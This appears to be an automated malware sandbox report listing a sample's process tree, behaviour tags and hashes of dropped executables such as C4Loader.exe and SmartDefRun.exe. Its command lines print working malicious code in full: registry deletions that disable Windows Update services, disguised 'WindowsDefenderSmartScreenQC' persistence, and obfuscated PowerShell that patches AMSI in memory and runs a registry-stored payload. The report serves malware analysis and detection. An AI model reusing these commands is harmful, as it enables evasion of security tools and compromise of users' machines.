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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1452
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2908
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1616
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2264
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1784 -ip 17841⤵PID:1416
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2136 -ip 21361⤵PID:4512
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:GzcmPjOAfioz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TvCMctWMhJfdcE,[Parameter(Position=1)][Type]$ChVHwHcdlY)$uKmCbRpspVt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'mo'+[Char](114)+''+'y'+'Mo'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'gat'+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+'e'+'d'+''+[Char](44)+''+'A'+''+[Char](110)+'s'+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$uKmCbRpspVt.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+'i'+[Char](100)+'eB'+[Char](121)+''+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TvCMctWMhJfdcE).SetImplementationFlags(''+'R'+'u'+'n'+'t'+[Char](105)+''+'m'+'e'+[Char](44)+''+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$uKmCbRpspVt.DefineMethod(''+[Char](73)+''+[Char](110)+'vo'+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,Hi'+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+','+''+[Char](78)+'e'+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+'V'+'i'+'rt'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$ChVHwHcdlY,$TvCMctWMhJfdcE).SetImplementationFlags(''+[Char](82)+'unt'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $uKmCbRpspVt.CreateType();}$bIzQDkitgLisi=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+[Char](111)+'f'+'t'+''+'.'+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+[Char](98)+''+[Char](73)+''+[Char](122)+''+'Q'+''+[Char](68)+'k'+[Char](105)+''+[Char](116)+'g'+[Char](76)+'i'+[Char](115)+''+[Char](105)+'');$NoiwZvBAEKaAZR=$bIzQDkitgLisi.GetMethod(''+[Char](78)+''+[Char](111)+'i'+[Char](119)+''+[Char](90)+'vB'+[Char](65)+''+'E'+''+[Char](75)+'a'+[Char](65)+'Z'+'R'+'',[Reflection.BindingFlags]''+'P'+'u'+[Char](98)+''+'l'+''+'i'+'c,'+'S'+''+'t'+'a'+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RrKnVEVhAJzBiWCYTdF=GzcmPjOAfioz @([String])([IntPtr]);$wGTThdjJUnUtNbpyDEFsPM=GzcmPjOAfioz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hLvvlPqKKBN=$bIzQDkitgLisi.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+'l'+'e'+''+[Char](72)+''+[Char](97)+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')));$DIhuZrYvQafiUp=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$hLvvlPqKKBN,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+'a'+''+'r'+''+'y'+'A')));$YyvMekiLewDeKpnWf=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$hLvvlPqKKBN,[Object]('Vir'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+'r'+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$VRZCRqq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DIhuZrYvQafiUp,$RrKnVEVhAJzBiWCYTdF).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+''+'l'+'l');$ZqIwEEMsOWDYSarIa=$NoiwZvBAEKaAZR.Invoke($Null,@([Object]$VRZCRqq,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+'r')));$AaFaVMOFGx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YyvMekiLewDeKpnWf,$wGTThdjJUnUtNbpyDEFsPM).Invoke($ZqIwEEMsOWDYSarIa,[uint32]8,4,[ref]$AaFaVMOFGx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ZqIwEEMsOWDYSarIa,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YyvMekiLewDeKpnWf,$wGTThdjJUnUtNbpyDEFsPM).Invoke($ZqIwEEMsOWDYSarIa,[uint32]8,0x20,[ref]$AaFaVMOFGx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+'A'+[Char](82)+'E').GetValue('d'+'i'+'a'+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:680
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EeHiKjJmrsrG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fRSvczGNffJfZn,[Parameter(Position=1)][Type]$nflwPDRmFH)$sPzqXnzlzZW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+'t'+[Char](101)+'Ty'+[Char](112)+''+'e'+'',''+'C'+''+[Char](108)+''+'a'+''+'s'+'s'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+'Se'+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+'s'+'i'+'C'+'l'+''+[Char](97)+'s'+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sPzqXnzlzZW.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'ci'+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$fRSvczGNffJfZn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+'ag'+[Char](101)+''+'d'+'');$sPzqXnzlzZW.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+'ke','P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+[Char](111)+''+'t'+','+'V'+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$nflwPDRmFH,$fRSvczGNffJfZn).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+'i'+'m'+[Char](101)+''+','+''+'M'+'a'+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $sPzqXnzlzZW.CreateType();}$oGIuMLSqrtYKh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+'m.dl'+'l'+'')}).GetType(''+'M'+'i'+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](111)+''+[Char](71)+''+[Char](73)+''+[Char](117)+''+[Char](77)+'L'+[Char](83)+''+'q'+''+[Char](114)+''+[Char](116)+''+'Y'+''+[Char](75)+''+[Char](104)+'');$tBgFWsINdgbcpz=$oGIuMLSqrtYKh.GetMethod(''+[Char](116)+'B'+[Char](103)+''+[Char](70)+''+[Char](87)+'s'+'I'+''+[Char](78)+''+[Char](100)+''+'g'+''+'b'+''+[Char](99)+''+'p'+'z',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+'t'+''+'i'+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BVObpkzqwUHLncpVqQO=EeHiKjJmrsrG @([String])([IntPtr]);$SvHzbUnukVcXKBLsYjMQoR=EeHiKjJmrsrG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iAxgWVxkXrc=$oGIuMLSqrtYKh.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+'3'+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$fYpdcshXkuAQYX=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$iAxgWVxkXrc,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$cGhzVEvueLIiHogBn=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$iAxgWVxkXrc,[Object]('Vi'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$zwJuvmn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fYpdcshXkuAQYX,$BVObpkzqwUHLncpVqQO).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$WsZtfoHJdRHdMNOwB=$tBgFWsINdgbcpz.Invoke($Null,@([Object]$zwJuvmn,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+'e'+''+'r'+'')));$kbSgSmazoN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cGhzVEvueLIiHogBn,$SvHzbUnukVcXKBLsYjMQoR).Invoke($WsZtfoHJdRHdMNOwB,[uint32]8,4,[ref]$kbSgSmazoN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WsZtfoHJdRHdMNOwB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cGhzVEvueLIiHogBn,$SvHzbUnukVcXKBLsYjMQoR).Invoke($WsZtfoHJdRHdMNOwB,[uint32]8,0x20,[ref]$kbSgSmazoN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue('dia'+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+'t'+''+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2384
Network
MITRE ATT&CK Enterprise v6
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log
- Size 226B
- SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
- MD5 916851e072fbabc4796d8916c5131092
- SHA1 d48a602229a690c512d5fdaf4c8d77547a88e7a2
- SHA512 07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 30a3f67e511edb7fb52b3cce8ae46e9c738bfecddc499a6730d060a78dd9eb78
- MD5 143c4054aa8d75ecf60059930ece2b0c
- SHA1 fde7af6d7811b55311d456561e1f77a4c6623243
- SHA512 ea191a22e74a86081611ab25961d4e4ecac777de1e042dc6e7029e44eafd65bed59fd9c959ee179a4e4de620a3bcf80f0f8a50678a2bff3ae4ad72fceea0be11
- SSDEEP 384:bsf++8P9i+yyeO9jUB0izJk+o9o2TVK6seY+p7/PNA3So3A4X3l7FazCvrQ0gcZ1:AfgeGj4Dejo2TVNxtYSiF7IzCnnLr
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 948B
- SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
- MD5 a7ce8cefc3f798abe5abd683d0ef26dd
- SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
- SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
- Size 1.4MB
- SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
- MD5 bb86a343080f9f4696c250ef31a18d9d
- SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
- SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
- SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
- Size 3.7MB
- SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
- MD5 f5c51e7760315ad0f0238d268c03c60e
- SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
- SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
- SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
- Size 1.4MB
- SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
- MD5 b6bbab9f72c88d07b484cc339c475e75
- SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
- SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
- SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 455KB
- SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
- MD5 ee0ad7cc2a5976a5c658da52092977a9
- SHA1 c69b99d42a9f9886af74e6a75fd905a5d17d4792
- SHA512 ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
- SSDEEP 12288:btWV/qA5lC5s4V73uNgSPncLl0kDOA2gb6asFY3QBP60uG:btWV/qADC5s4V73yncuK12gb6asFYA0i
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\new2.exe
- Size 455KB
- SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
- MD5 ee0ad7cc2a5976a5c658da52092977a9
- SHA1 c69b99d42a9f9886af74e6a75fd905a5d17d4792
- SHA512 ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
- SSDEEP 12288:btWV/qA5lC5s4V73uNgSPncLl0kDOA2gb6asFY3QBP60uG:btWV/qADC5s4V73yncuK12gb6asFYA0i
- MD5 SHA1 SHA512 SSDEEP